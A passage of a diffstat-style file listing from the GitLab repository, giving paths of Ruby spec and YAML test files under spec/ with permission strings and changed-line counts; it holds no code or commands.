-rw-r--r--spec/lib/gitlab/github_import/importer/labels_importer_spec.rb4
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/importer/repository_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/label_finder_spec.rb8
-rw-r--r--spec/lib/gitlab/github_import/milestone_finder_spec.rb4
-rw-r--r--spec/lib/gitlab/gitpod_spec.rb66
-rw-r--r--spec/lib/gitlab/gl_repository/repo_type_spec.rb14
-rw-r--r--spec/lib/gitlab/gl_repository_spec.rb11
-rw-r--r--spec/lib/gitlab/graphql/docs/renderer_spec.rb48
-rw-r--r--spec/lib/gitlab/graphql/loaders/issuable_loader_spec.rb51
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb25
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/order_info_spec.rb12
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/query_builder_spec.rb37
-rw-r--r--spec/lib/gitlab/group_search_results_spec.rb74
-rw-r--r--spec/lib/gitlab/hashed_storage/migrator_spec.rb12
-rw-r--r--spec/lib/gitlab/http_spec.rb11
-rw-r--r--spec/lib/gitlab/i18n/po_linter_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml24
-rw-r--r--spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb6
-rw-r--r--spec/lib/gitlab/import_export/project/tree_saver_spec.rb6
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml1
-rw-r--r--spec/lib/gitlab/incident_management/pager_duty/incident_issue_description_spec.rb3
-rw-r--r--spec/lib/gitlab/jira/dvcs_spec.rb58
-rw-r--r--spec/lib/gitlab/jira/middleware_spec.rb40
-rw-r--r--spec/lib/gitlab/kas_spec.rb61
-rw-r--r--spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb101
-rw-r--r--spec/lib/gitlab/kubernetes/kube_client_spec.rb2
-rw-r--r--spec/lib/gitlab/kubernetes/network_policy_spec.rb59
-rw-r--r--spec/lib/gitlab/lfs/client_spec.rb148
-rw-r--r--spec/lib/gitlab/log_timestamp_formatter_spec.rb2
-rw-r--r--spec/lib/gitlab/metrics/dashboard/importer_spec.rb55
-rw-r--r--spec/lib/gitlab/metrics/dashboard/importers/prometheus_metrics_spec.rb79
-rw-r--r--spec/lib/gitlab/metrics/dashboard/stages/track_panel_type_spec.rb13
-rw-r--r--spec/lib/gitlab/metrics/dashboard/transformers/yml/v1/prometheus_metrics_spec.rb99
-rw-r--r--spec/lib/gitlab/metrics/dashboard/url_spec.rb103
-rw-r--r--spec/lib/gitlab/metrics/dashboard/validator/errors_spec.rb13
-rw-r--r--spec/lib/gitlab/metrics/dashboard/validator_spec.rb52
-rw-r--r--spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb24
-rw-r--r--spec/lib/gitlab/metrics/instrumentation_spec.rb14
-rw-r--r--spec/lib/gitlab/metrics/method_call_spec.rb2
-rw-r--r--spec/lib/gitlab/metrics/samplers/action_cable_sampler_spec.rb94
-rw-r--r--spec/lib/gitlab/metrics/samplers/ruby_sampler_spec.rb2
-rw-r--r--spec/lib/gitlab/middleware/multipart/handler_for_jwt_params_spec.rb53
-rw-r--r--spec/lib/gitlab/middleware/multipart/handler_spec.rb53
-rw-r--r--spec/lib/gitlab/middleware/multipart_spec.rb313
-rw-r--r--spec/lib/gitlab/middleware/multipart_with_handler_for_jwt_params_spec.rb171
-rw-r--r--spec/lib/gitlab/middleware/multipart_with_handler_spec.rb144
-rw-r--r--spec/lib/gitlab/middleware/same_site_cookies_spec.rb49
-rw-r--r--spec/lib/gitlab/pages/settings_spec.rb32
-rw-r--r--spec/lib/gitlab/pages_transfer_spec.rb137
-rw-r--r--spec/lib/gitlab/phabricator_import/cache/map_spec.rb2
-rw-r--r--spec/lib/gitlab/project_authorizations_spec.rb60
-rw-r--r--spec/lib/gitlab/project_search_results_spec.rb290
-rw-r--r--spec/lib/gitlab/prometheus/internal_spec.rb28
-rw-r--r--spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb2
-rw-r--r--spec/lib/gitlab/prometheus/queries/validate_query_spec.rb4
-rw-r--r--spec/lib/gitlab/prometheus_client_spec.rb32
-rw-r--r--spec/lib/gitlab/quick_actions/substitution_definition_spec.rb20
-rw-r--r--spec/lib/gitlab/reference_counter_spec.rb2
-rw-r--r--spec/lib/gitlab/regex_spec.rb101
-rw-r--r--spec/lib/gitlab/relative_positioning/item_context_spec.rb215
-rw-r--r--spec/lib/gitlab/relative_positioning/mover_spec.rb487
-rw-r--r--spec/lib/gitlab/relative_positioning/range_spec.rb162
-rw-r--r--spec/lib/gitlab/repository_cache_adapter_spec.rb2
-rw-r--r--spec/lib/gitlab/robots_txt/parser_spec.rb71
-rw-r--r--spec/lib/gitlab/search/recent_issues_spec.rb11
-rw-r--r--spec/lib/gitlab/search/recent_merge_requests_spec.rb11
-rw-r--r--spec/lib/gitlab/search_results_spec.rb54
-rw-r--r--spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb6
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none_spec.rb29
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb3
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies_spec.rb4
-rw-r--r--spec/lib/gitlab/sql/except_spec.rb7
-rw-r--r--spec/lib/gitlab/sql/intersect_spec.rb7
-rw-r--r--spec/lib/gitlab/sql/union_spec.rb37
-rw-r--r--spec/lib/gitlab/static_site_editor/config/file_config_spec.rb15
-rw-r--r--spec/lib/gitlab/static_site_editor/config/generated_config_spec.rb136
-rw-r--r--spec/lib/gitlab/static_site_editor/config_spec.rb134
-rw-r--r--spec/lib/gitlab/submodule_links_spec.rb58
-rw-r--r--spec/lib/gitlab/template/finders/global_template_finder_spec.rb19
-rw-r--r--spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb6
-rw-r--r--spec/lib/gitlab/tracking/incident_management_spec.rb2
-rw-r--r--spec/lib/gitlab/tracking_spec.rb4
-rw-r--r--spec/lib/gitlab/updated_notes_paginator_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data/topology_spec.rb110
-rw-r--r--spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb89
-rw-r--r--spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb277
-rw-r--r--spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb111
-rw-r--r--spec/lib/gitlab/usage_data_counters/kubernetes_agent_counter_spec.rb23
-rw-r--r--spec/lib/gitlab/usage_data_counters/redis_counter_spec.rb48
-rw-r--r--spec/lib/gitlab/usage_data_counters/track_unique_actions_spec.rb79
-rw-r--r--spec/lib/gitlab/usage_data_counters/track_unique_events_spec.rb72
-rw-r--r--spec/lib/gitlab/usage_data_queries_spec.rb41
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb277
-rw-r--r--spec/lib/gitlab/utils/gzip_spec.rb58
-rw-r--r--spec/lib/gitlab/utils/markdown_spec.rb32
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb149
-rw-r--r--spec/lib/gitlab/web_ide/config/entry/global_spec.rb5
-rw-r--r--spec/lib/gitlab/workhorse_spec.rb8
-rw-r--r--spec/lib/gitlab_danger_spec.rb2
-rw-r--r--spec/lib/object_storage/config_spec.rb41
-rw-r--r--spec/lib/object_storage/direct_upload_spec.rb22
-rw-r--r--spec/lib/product_analytics/tracker_spec.rb51
-rw-r--r--spec/lib/uploaded_file_spec.rb433
-rw-r--r--spec/mailers/devise_mailer_spec.rb29
-rw-r--r--spec/mailers/emails/profile_spec.rb22
-rw-r--r--spec/mailers/notify_spec.rb216
-rw-r--r--spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb2
-rw-r--r--spec/migrations/20200122123016_backfill_project_settings_spec.rb2
-rw-r--r--spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb2
-rw-r--r--spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb2
-rw-r--r--spec/migrations/20200703125016_backfill_namespace_settings_spec.rb2
-rw-r--r--spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb160
-rw-r--r--spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb14
-rw-r--r--spec/migrations/backfill_imported_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/complete_namespace_settings_migration_spec.rb24
-rw-r--r--spec/migrations/enqueue_reset_merge_status_second_run_spec.rb2
-rw-r--r--spec/migrations/enqueue_reset_merge_status_spec.rb2
-rw-r--r--spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb40
-rw-r--r--spec/migrations/ensure_target_project_id_is_filled_spec.rb30
-rw-r--r--spec/migrations/fix_projects_without_project_feature_spec.rb2
-rw-r--r--spec/migrations/fix_projects_without_prometheus_services_spec.rb2
-rw-r--r--spec/migrations/fix_wrong_pages_access_level_spec.rb2
-rw-r--r--spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb4
-rw-r--r--spec/migrations/move_limits_from_plans_spec.rb4
-rw-r--r--spec/migrations/schedule_calculate_wiki_sizes_spec.rb12
-rw-r--r--spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb2
-rw-r--r--spec/migrations/schedule_migrate_security_scans_spec.rb4
-rw-r--r--spec/migrations/schedule_pages_metadata_migration_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_project_snippet_statistics_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_user_highest_roles_table_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_spec.rb4
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb2
-rw-r--r--spec/migrations/schedule_sync_issuables_state_id_spec.rb2
-rw-r--r--spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb2
-rw-r--r--spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb8
-rw-r--r--spec/models/alert_management/alert_spec.rb72
-rw-r--r--spec/models/analytics/instance_statistics/measurement_spec.rb45
-rw-r--r--spec/models/application_record_spec.rb68
-rw-r--r--spec/models/application_setting_spec.rb29
-rw-r--r--spec/models/atlassian/identity_spec.rb34
-rw-r--r--spec/models/audit_event_partitioned_spec.rb13
-rw-r--r--spec/models/authentication_event_spec.rb15
-rw-r--r--spec/models/badges/project_badge_spec.rb4
-rw-r--r--spec/models/blob_viewer/metrics_dashboard_yml_spec.rb253
-rw-r--r--spec/models/board_group_recent_visit_spec.rb2
-rw-r--r--spec/models/board_project_recent_visit_spec.rb2
-rw-r--r--spec/models/ci/bridge_spec.rb1
-rw-r--r--spec/models/ci/build_metadata_spec.rb2
-rw-r--r--spec/models/ci/build_spec.rb145
-rw-r--r--spec/models/ci/build_trace_chunk_spec.rb123
-rw-r--r--spec/models/ci/build_trace_chunks/fog_spec.rb12
-rw-r--r--spec/models/ci/instance_variable_spec.rb6
-rw-r--r--spec/models/ci/job_artifact_spec.rb40
-rw-r--r--spec/models/ci/legacy_stage_spec.rb2
-rw-r--r--spec/models/ci/persistent_ref_spec.rb8
-rw-r--r--spec/models/ci/pipeline_artifact_spec.rb78
-rw-r--r--spec/models/ci/pipeline_spec.rb473
-rw-r--r--spec/models/ci/ref_spec.rb72
-rw-r--r--spec/models/ci/runner_spec.rb6
-rw-r--r--spec/models/ci_platform_metric_spec.rb94
-rw-r--r--spec/models/clusters/agent_spec.rb11
-rw-r--r--spec/models/clusters/applications/prometheus_spec.rb17
-rw-r--r--spec/models/clusters/cluster_spec.rb1
-rw-r--r--spec/models/clusters/kubernetes_namespace_spec.rb3
-rw-r--r--spec/models/commit_range_spec.rb23
-rw-r--r--spec/models/commit_status_spec.rb18
-rw-r--r--spec/models/concerns/ci/artifactable_spec.rb36
-rw-r--r--spec/models/concerns/from_except_spec.rb7
-rw-r--r--spec/models/concerns/from_intersect_spec.rb7
-rw-r--r--spec/models/concerns/from_set_operator_spec.rb20
-rw-r--r--spec/models/concerns/from_union_spec.rb35
-rw-r--r--spec/models/concerns/id_in_ordered_spec.rb33
-rw-r--r--spec/models/concerns/issuable_spec.rb178
-rw-r--r--spec/models/concerns/milestoneable_spec.rb8
-rw-r--r--spec/models/concerns/prometheus_adapter_spec.rb10
-rw-r--r--spec/models/cycle_analytics/issue_spec.rb8
-rw-r--r--spec/models/cycle_analytics/plan_spec.rb6
-rw-r--r--spec/models/cycle_analytics/production_spec.rb53
-rw-r--r--spec/models/deployment_spec.rb18
-rw-r--r--spec/models/design_management/design_collection_spec.rb60
-rw-r--r--spec/models/design_management/design_spec.rb26
-rw-r--r--spec/models/dev_ops_report/metric_spec.rb13
-rw-r--r--spec/models/dev_ops_score/metric_spec.rb13
-rw-r--r--spec/models/diff_note_spec.rb4
-rw-r--r--spec/models/draft_note_spec.rb8
-rw-r--r--spec/models/environment_spec.rb8
-rw-r--r--spec/models/environment_status_spec.rb20
-rw-r--r--spec/models/event_spec.rb16
-rw-r--r--spec/models/group_deploy_key_spec.rb21
-rw-r--r--spec/models/group_spec.rb15
-rw-r--r--spec/models/issuable_severity_spec.rb25
-rw-r--r--spec/models/issue_link_spec.rb53
-rw-r--r--spec/models/issue_spec.rb78
-rw-r--r--spec/models/iteration_spec.rb53
-rw-r--r--spec/models/jira_connect_installation_spec.rb45
-rw-r--r--spec/models/jira_connect_subscription_spec.rb15
-rw-r--r--spec/models/member_spec.rb70
-rw-r--r--spec/models/merge_request/metrics_spec.rb11
-rw-r--r--spec/models/merge_request_diff_commit_spec.rb7
-rw-r--r--spec/models/merge_request_diff_file_spec.rb15
-rw-r--r--spec/models/merge_request_diff_spec.rb36
-rw-r--r--spec/models/merge_request_reviewer_spec.rb14
-rw-r--r--spec/models/merge_request_spec.rb382
-rw-r--r--spec/models/metrics/dashboard/annotation_spec.rb2
-rw-r--r--spec/models/milestone_spec.rb10
-rw-r--r--spec/models/namespace/root_storage_statistics_spec.rb3
-rw-r--r--spec/models/namespace_spec.rb187
-rw-r--r--spec/models/note_spec.rb100
-rw-r--r--spec/models/operations/feature_flag_scope_spec.rb391
-rw-r--r--spec/models/operations/feature_flag_spec.rb258
-rw-r--r--spec/models/operations/feature_flags/strategy_spec.rb323
-rw-r--r--spec/models/operations/feature_flags/user_list_spec.rb102
-rw-r--r--spec/models/operations/feature_flags_client_spec.rb21
-rw-r--r--spec/models/packages/package_file_spec.rb6
-rw-r--r--spec/models/packages/package_spec.rb118
-rw-r--r--spec/models/pages/lookup_path_spec.rb61
-rw-r--r--spec/models/pages_deployment_spec.rb21
-rw-r--r--spec/models/pages_domain_spec.rb10
-rw-r--r--spec/models/performance_monitoring/prometheus_dashboard_spec.rb93
-rw-r--r--spec/models/product_analytics_event_spec.rb25
-rw-r--r--spec/models/project_feature_usage_spec.rb59
-rw-r--r--spec/models/project_services/bamboo_service_spec.rb10
-rw-r--r--spec/models/project_services/buildkite_service_spec.rb2
-rw-r--r--spec/models/project_services/chat_message/merge_message_spec.rb69
-rw-r--r--spec/models/project_services/ewm_service_spec.rb61
-rw-r--r--spec/models/project_services/jira_service_spec.rb147
-rw-r--r--spec/models/project_services/packagist_service_spec.rb30
-rw-r--r--spec/models/project_services/pipelines_email_service_spec.rb22
-rw-r--r--spec/models/project_services/teamcity_service_spec.rb10
-rw-r--r--spec/models/project_spec.rb526
-rw-r--r--spec/models/project_statistics_spec.rb19
-rw-r--r--spec/models/project_team_spec.rb95
-rw-r--r--spec/models/project_wiki_spec.rb13
-rw-r--r--spec/models/remote_mirror_spec.rb24
-rw-r--r--spec/models/repository_spec.rb1
-rw-r--r--spec/models/resource_iteration_event_spec.rb17
-rw-r--r--spec/models/resource_label_event_spec.rb8
-rw-r--r--spec/models/resource_state_event_spec.rb28
-rw-r--r--spec/models/service_spec.rb148
-rw-r--r--spec/models/snippet_input_action_spec.rb6
-rw-r--r--spec/models/snippet_repository_spec.rb5
-rw-r--r--spec/models/snippet_spec.rb215
-rw-r--r--spec/models/snippet_statistics_spec.rb2
-rw-r--r--spec/models/terraform/state_spec.rb62
-rw-r--r--spec/models/terraform/state_version_spec.rb76
-rw-r--r--spec/models/user_agent_detail_spec.rb4
-rw-r--r--spec/models/user_interacted_project_spec.rb7
-rw-r--r--spec/models/user_spec.rb188
-rw-r--r--spec/models/x509_certificate_spec.rb18
-rw-r--r--spec/policies/design_management/design_policy_spec.rb11
-rw-r--r--spec/policies/global_policy_spec.rb40
-rw-r--r--spec/policies/group_policy_spec.rb44
-rw-r--r--spec/policies/issuable_policy_spec.rb8
-rw-r--r--spec/policies/metrics/dashboard/annotation_policy_spec.rb26
-rw-r--r--spec/policies/namespace_policy_spec.rb26
-rw-r--r--spec/policies/personal_access_token_policy_spec.rb18
-rw-r--r--spec/policies/project_policy_spec.rb233
-rw-r--r--spec/policies/user_policy_spec.rb20
-rw-r--r--spec/presenters/alert_management/alert_presenter_spec.rb134
-rw-r--r--spec/presenters/alert_management/prometheus_alert_presenter_spec.rb85
-rw-r--r--spec/presenters/ci/build_presenter_spec.rb6
-rw-r--r--spec/presenters/ci/pipeline_artifacts/code_coverage_presenter_spec.rb62
-rw-r--r--spec/presenters/ci/pipeline_presenter_spec.rb2
-rw-r--r--spec/presenters/clusters/cluster_presenter_spec.rb2
-rw-r--r--spec/presenters/dev_ops_report/metric_presenter_spec.rb39
-rw-r--r--spec/presenters/dev_ops_score/metric_presenter_spec.rb39
-rw-r--r--spec/presenters/packages/conan/package_presenter_spec.rb127
-rw-r--r--spec/presenters/packages/nuget/search_results_presenter_spec.rb2
-rw-r--r--spec/presenters/projects/prometheus/alert_presenter_spec.rb124
-rw-r--r--spec/requests/api/access_requests_spec.rb2
-rw-r--r--spec/requests/api/boards_spec.rb4
-rw-r--r--spec/requests/api/branches_spec.rb4
-rw-r--r--spec/requests/api/ci/pipelines_spec.rb616
-rw-r--r--spec/requests/api/ci/runner/jobs_artifacts_spec.rb40
-rw-r--r--spec/requests/api/ci/runner/jobs_put_spec.rb61
-rw-r--r--spec/requests/api/commits_spec.rb27
-rw-r--r--spec/requests/api/composer_packages_spec.rb107
-rw-r--r--spec/requests/api/conan_instance_packages_spec.rb152
-rw-r--r--spec/requests/api/conan_packages_spec.rb954
-rw-r--r--spec/requests/api/conan_project_packages_spec.rb152
-rw-r--r--spec/requests/api/generic_packages_spec.rb82
-rw-r--r--spec/requests/api/graphql/boards/board_list_issues_query_spec.rb8
-rw-r--r--spec/requests/api/graphql/current_user_todos_spec.rb81
-rw-r--r--spec/requests/api/graphql/group/group_members_spec.rb67
-rw-r--r--spec/requests/api/graphql/group_query_spec.rb11
-rw-r--r--spec/requests/api/graphql/instance_statistics_measurements_spec.rb21
-rw-r--r--spec/requests/api/graphql/issue/issue_spec.rb126
-rw-r--r--spec/requests/api/graphql/metrics/dashboard_query_spec.rb155
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/add_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/remove_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/boards/destroy_spec.rb79
-rw-r--r--spec/requests/api/graphql/mutations/boards/lists/create_spec.rb54
-rw-r--r--spec/requests/api/graphql/mutations/boards/lists/update_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/branches/create_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/ci/pipeline_cancel_spec.rb51
-rw-r--r--spec/requests/api/graphql/mutations/ci/pipeline_destroy_spec.rb31
-rw-r--r--spec/requests/api/graphql/mutations/ci/pipeline_retry_spec.rb45
-rw-r--r--spec/requests/api/graphql/mutations/commits/create_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/design_management/upload_spec.rb32
-rw-r--r--spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/issues/set_locked_spec.rb7
-rw-r--r--spec/requests/api/graphql/mutations/issues/set_severity_spec.rb57
-rw-r--r--spec/requests/api/graphql/mutations/issues/update_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/merge_requests/create_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb4
-rw-r--r--spec/requests/api/graphql/mutations/metrics/dashboard/annotations/delete_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/notes/destroy_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/notes/update/note_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/snippets/create_spec.rb126
-rw-r--r--spec/requests/api/graphql/mutations/snippets/destroy_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/snippets/update_spec.rb105
-rw-r--r--spec/requests/api/graphql/mutations/todos/mark_all_done_spec.rb3
-rw-r--r--spec/requests/api/graphql/mutations/todos/mark_done_spec.rb11
-rw-r--r--spec/requests/api/graphql/mutations/todos/restore_spec.rb11
-rw-r--r--spec/requests/api/graphql/namespace/projects_spec.rb39
-rw-r--r--spec/requests/api/graphql/project/issue/designs/notes_spec.rb2
-rw-r--r--spec/requests/api/graphql/project/issues_spec.rb148
-rw-r--r--spec/requests/api/graphql/project/merge_request_spec.rb3
-rw-r--r--spec/requests/api/graphql/project/merge_requests_spec.rb46
-rw-r--r--spec/requests/api/graphql/project/release_spec.rb60
-rw-r--r--spec/requests/api/graphql/project/releases_spec.rb19
-rw-r--r--spec/requests/api/graphql/project_query_spec.rb48
-rw-r--r--spec/requests/api/graphql/user/starred_projects_query_spec.rb73
-rw-r--r--spec/requests/api/group_packages_spec.rb2
-rw-r--r--spec/requests/api/helpers_spec.rb2
-rw-r--r--spec/requests/api/internal/base_spec.rb4
-rw-r--r--spec/requests/api/internal/kubernetes_spec.rb124
-rw-r--r--spec/requests/api/issue_links_spec.rb207
-rw-r--r--spec/requests/api/issues/get_group_issues_spec.rb97
-rw-r--r--spec/requests/api/issues/issues_spec.rb45
-rw-r--r--spec/requests/api/jobs_spec.rb317
-rw-r--r--spec/requests/api/maven_packages_spec.rb14
-rw-r--r--spec/requests/api/members_spec.rb8
-rw-r--r--spec/requests/api/merge_request_diffs_spec.rb4
-rw-r--r--spec/requests/api/merge_requests_spec.rb152
-rw-r--r--spec/requests/api/notes_spec.rb4
-rw-r--r--spec/requests/api/nuget_packages_spec.rb12
-rw-r--r--spec/requests/api/oauth_tokens_spec.rb6
-rw-r--r--spec/requests/api/pages/internal_access_spec.rb2
-rw-r--r--spec/requests/api/pages/pages_spec.rb4
-rw-r--r--spec/requests/api/pages/private_access_spec.rb2
-rw-r--r--spec/requests/api/pages/public_access_spec.rb2
-rw-r--r--spec/requests/api/project_milestones_spec.rb6
-rw-r--r--spec/requests/api/project_packages_spec.rb18
-rw-r--r--spec/requests/api/project_snippets_spec.rb54
-rw-r--r--spec/requests/api/projects_spec.rb120
-rw-r--r--spec/requests/api/pypi_packages_spec.rb55
-rw-r--r--spec/requests/api/search_spec.rb89
-rw-r--r--spec/requests/api/settings_spec.rb11
-rw-r--r--spec/requests/api/snippets_spec.rb65
-rw-r--r--spec/requests/api/terraform/state_spec.rb12
-rw-r--r--spec/requests/api/todos_spec.rb23
-rw-r--r--spec/requests/api/usage_data_spec.rb79
-rw-r--r--spec/requests/api/users_spec.rb73
-rw-r--r--spec/requests/api/v3/github_spec.rb516
-rw-r--r--spec/requests/api/variables_spec.rb64
-rw-r--r--spec/requests/git_http_spec.rb2
-rw-r--r--spec/requests/jira_authorizations_spec.rb76
-rw-r--r--spec/requests/jira_routing_spec.rb72
-rw-r--r--spec/requests/lfs_http_spec.rb8
-rw-r--r--spec/requests/profiles/notifications_controller_spec.rb6
-rw-r--r--spec/requests/projects/cycle_analytics_events_spec.rb9
-rw-r--r--spec/requests/projects/issue_links_controller_spec.rb156
-rw-r--r--spec/requests/projects/metrics_dashboard_spec.rb40
-rw-r--r--spec/routing/admin_routing_spec.rb20
-rw-r--r--spec/routing/instance_statistics_routing_spec.rb4
-rw-r--r--spec/routing/routing_spec.rb13
-rw-r--r--spec/rubocop/cop/active_record_association_reload_spec.rb2
-rw-r--r--spec/rubocop/cop/gitlab/avoid_uploaded_file_from_params_spec.rb21
-rw-r--r--spec/rubocop/cop/gitlab/bulk_insert_spec.rb9
-rw-r--r--spec/rubocop/cop/gitlab/except_spec.rb19
-rw-r--r--spec/rubocop/cop/gitlab/intersect_spec.rb19
-rw-r--r--spec/rubocop/cop/gitlab/rails_logger_spec.rb26
-rw-r--r--spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb164
-rw-r--r--spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb205
-rw-r--r--spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb90
-rw-r--r--spec/rubocop/cop/migration/safer_boolean_column_spec.rb8
-rw-r--r--spec/rubocop/cop/migration/update_column_in_batches_spec.rb20
-rw-r--r--spec/rubocop/cop/put_group_routes_under_scope_spec.rb14
-rw-r--r--spec/rubocop/cop/put_project_routes_under_scope_spec.rb14
-rw-r--r--spec/rubocop/cop/rspec/timecop_freeze_spec.rb52
-rw-r--r--spec/rubocop/cop/static_translation_definition_spec.rb25
-rw-r--r--spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb24
-rw-r--r--spec/serializers/analytics_build_entity_spec.rb2
-rw-r--r--spec/serializers/build_details_entity_spec.rb22
-rw-r--r--spec/serializers/ci/lint/job_entity_spec.rb43
-rw-r--r--spec/serializers/ci/lint/result_entity_spec.rb16
-rw-r--r--spec/serializers/ci/lint/result_serializer_spec.rb261
-rw-r--r--spec/serializers/cluster_entity_spec.rb21
-rw-r--r--spec/serializers/cluster_serializer_spec.rb1
-rw-r--r--spec/serializers/diff_file_base_entity_spec.rb53
-rw-r--r--spec/serializers/environment_entity_spec.rb20
-rw-r--r--spec/serializers/environment_status_entity_spec.rb2
-rw-r--r--spec/serializers/fork_namespace_entity_spec.rb9
-rw-r--r--spec/serializers/group_group_link_entity_spec.rb13
-rw-r--r--spec/serializers/group_group_link_serializer_spec.rb13
-rw-r--r--spec/serializers/issue_entity_spec.rb2
-rw-r--r--spec/serializers/issue_serializer_spec.rb5
-rw-r--r--spec/serializers/job_entity_spec.rb16
-rw-r--r--spec/serializers/linked_project_issue_entity_spec.rb23
-rw-r--r--spec/serializers/merge_request_basic_entity_spec.rb27
-rw-r--r--spec/serializers/merge_request_poll_widget_entity_spec.rb18
-rw-r--r--spec/serializers/merge_request_sidebar_extras_entity_spec.rb57
-rw-r--r--spec/serializers/merge_request_widget_entity_spec.rb21
-rw-r--r--spec/serializers/pipeline_details_entity_spec.rb8
-rw-r--r--spec/serializers/pipeline_entity_spec.rb8
-rw-r--r--spec/serializers/pipeline_serializer_spec.rb2
-rw-r--r--spec/serializers/test_case_entity_spec.rb10
-rw-r--r--spec/services/admin/propagate_integration_service_spec.rb43
-rw-r--r--spec/services/admin/propagate_service_template_spec.rb142
-rw-r--r--spec/services/alert_management/create_alert_issue_service_spec.rb26
-rw-r--r--spec/services/alert_management/process_prometheus_alert_service_spec.rb146
-rw-r--r--spec/services/audit_event_service_spec.rb22
-rw-r--r--spec/services/authorized_project_update/project_create_service_spec.rb17
-rw-r--r--spec/services/authorized_project_update/project_group_link_create_service_spec.rb11
-rw-r--r--spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb12
-rw-r--r--spec/services/branches/delete_service_spec.rb15
-rw-r--r--spec/services/ci/cancel_user_pipelines_service_spec.rb12
-rw-r--r--spec/services/ci/create_cross_project_pipeline_service_spec.rb545
-rw-r--r--spec/services/ci/create_downstream_pipeline_service_spec.rb599
-rw-r--r--spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb2
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb8
-rw-r--r--spec/services/ci/destroy_expired_job_artifacts_service_spec.rb52
-rw-r--r--spec/services/ci/destroy_pipeline_service_spec.rb2
-rw-r--r--spec/services/ci/generate_coverage_reports_service_spec.rb12
-rw-r--r--spec/services/ci/parse_dotenv_artifact_service_spec.rb11
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_build_fails_other_build_succeeds_deploy_needs_one_build_and_test.yml9
-rw-r--r--spec/services/ci/pipeline_processing/test_cases/dag_builds_succeed_test_on_failure_deploy_needs_one_build_and_test.yml21
-rw-r--r--spec/services/ci/pipelines/create_artifact_service_spec.rb67
-rw-r--r--spec/services/ci/register_job_service_spec.rb28
-rw-r--r--spec/services/ci/retry_build_service_spec.rb32
-rw-r--r--spec/services/ci/retry_pipeline_service_spec.rb14
-rw-r--r--spec/services/ci/update_build_state_service_spec.rb238
-rw-r--r--spec/services/ci/update_runner_service_spec.rb2
-rw-r--r--spec/services/ci/web_ide_config_service_spec.rb91
-rw-r--r--spec/services/clusters/applications/schedule_update_service_spec.rb2
-rw-r--r--spec/services/clusters/aws/provision_service_spec.rb1
-rw-r--r--spec/services/deployments/after_create_service_spec.rb2
